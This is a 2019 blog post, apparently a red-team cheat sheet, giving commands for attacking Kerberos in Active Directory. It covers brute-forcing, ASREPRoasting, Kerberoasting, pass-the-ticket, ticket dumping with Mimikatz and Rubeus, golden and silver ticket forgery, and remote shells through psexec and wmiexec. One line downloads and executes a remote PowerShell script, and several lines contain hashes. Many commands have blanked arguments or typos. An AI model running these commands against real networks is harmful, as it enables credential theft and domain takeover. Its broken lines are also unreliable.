Kerberos Tradecraft

Attacking Kerberos in Active Directory Environments

Posted by L1inear on August 17, 2019

Kerberos is showing its age, but it has served us well over the years. In essence, it is used by a party to prove to another party who they say they are through the use of an authentication server. Below are a list of ways to attack and abuse this protocol in Active Directory environments.

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain -users -passwords -outputfile

With Rubeus version, using the brute module:

# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:

ASREPRoast

With Impacket’s GETNPUsers.py:

# check ASREPROast for all domain users (credentials required)
python GetNPUsers.py /: -request -format -outputfile

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py / -userfile -format -outputfile

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format: /outfile:

Kerberoasting

With Impacket’s GetUserSPNS.py:

python GetUserSPNs.py -request -dc-ip 192.168.1.1 lab.local/user:password -outfile hash

With Rubeus:

.\Rubeus.exe kerberoast /outfile:file.hash
.\Rubeus.exe kerberoast /creduser:domain.fqdn\user /credpassword:password /outfile:file.hash

With Powershell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module\source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Pass the Key

With Impacket Toolsuite:

# Request to TGT with hash
python getTGT.py / -hashes [lm_hash]:
# Request the TGT with aesKey (more secure encrpytion and stealthier)
python getTGT.py / -aesKey
# Request the TGT with password
python getTGT.py /:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=

# Execute remote commands with any of the following:
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass

With Rubeus and PsExec:

# Ask and inject the ticket
.\Rubeus.exe asktft /domain: /user: /rc4: /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\ cmd

Pass the Ticket

Preamble

In order to use smbclient with kerberos authentication, ensure the krb5-user is installed, and edit these lines from /etc/krb5.conf:

# Kerberos Authentication require FQDN instead of IP
[libdefaults]
	default_realm = CORP.COM

[realms]
	CORP.COM = {
		kdc = tcp/DC1.CORP.COM:88
	}

Using smbclient:

smbclient -k //DC1.CORP.COM/C$

Using Impacket Toolsuite:

python smbexec.py -k -no-pass baduser@DC1.CORP.COM
python psexec.py -k -no-pass baduser@DC1.CORP.COM cmd

Harvest tickets from Linux

Check type and location of tickets:

grep default\ccache\name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}

In case of file tickets, you can copy and paste (if permissions allow) to use them

In case of being KEYRING tickets, you can use tickey to get them:

# To dump current user tickets, if root, try to dump them all by injecting to other user processes
# to inject, copy tickey in reachable users by all users
cp tickey /tmp/tickey
/tmp/tickey -i

Harvest tickets from Windows

With Mimikatz:

sekurlsa::tickets /export

Rubeus in Powershell:

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write in a file [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))

To convert tickets between Linux/Windows format with ticket_converter.py:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using tickets in Linux

With Impacket Toolsuite:

# Set the ticket for impacket use
export KRB5CCNAME=

# Execute remote commands with any of the following by using the TGT
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass

Using tickets in Windows

Inject ticket with Mimikatz:

kerberos::ptt

Inject ticket with Rebeus:

.\Rubeus.exe ptt /ticket:

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\ cmd

Ticket Generation

Golden Ticket

Searching for the SPN without dcsync:

wmic /node:192.168.1.2 /user:CORP.COM\user /password:password useraccount where name="krbtgt" get sid

Using Impacket’s secretsdump:

python secretsdump.py user:password@192.168.1.2 -outputfile krb -user-status
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c user@192.168.1.2 -outputfile krb -user-status

Using either the rc4, aes128, aes256 to generate a ticket:

# Remember to strip the -502 at the end
python ticketer.py -nthash 8846f7eaee8fb117ad06bdd830b7586c -domain-sid S-1-5-32-1045337234-12924708993-5683276719-19000 -domain CORP.COM tempuser
export KRB5CCNAME=/root/Tools/impacket/examples/tempuser.ccache

# Use klist to check
klist

# Permissions Update
chmod 700 tempuser.ccache

# Export
export KRB5CCNAME=/root/Tools/impacket/examples/tempuser.ccache

Mimikatz is similar:

# To check kerberos list
kerberos::list

# Forge a golden ticket
kerberos::golden /domain:corp.com /sid:S-1-5-32-1045337234-12924708993-5683276719-19000 /rc4:8846f7eaee8fb117ad06bdd830b7586c /user:administrator /id:500 /groups:500,501,513,512,520,518,519 /ticket:forged.kirbi

# Pass the ticket and open a cmd session
kerberos::ptt forged.kirbi
misc::cmd

Additional options with with TGT

python ticketer.py -aesKey -domain-sid  -domain
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass

# wmiexec is a little bit different
python wmiexec.py /@ -k -no-pass
python wmiexec.py -k -no-pass CORP.COM/temp@DC1.CORP.COM ipconfig

Silver Ticket

With Impacket Toolsuite:

# To generate TGS with NTLM
python ticketer.py -nthash -domain-sid -domain -spn

# To generate the TGS with AES key
python ticketer.py -aesKey -domain-sid -domain -spn

# Set the ticket for impacket use
export KRB5CCNAME=

# Execute remote commands with any of the following with the TGT
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass

With Mimikatz:

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:/sid: /rc4: /user: /service: /target:

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:/sid: /aes128: /user: /service: /target:

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:/sid: /aes256: /user: /service: /target:

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\ cmd

With Mimikatz:

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:/sid: /rc4: /user:

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:/sid: /aes128: /user:

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:/sid: /aes256: /user:

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\ cmd

Conversion Trick

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'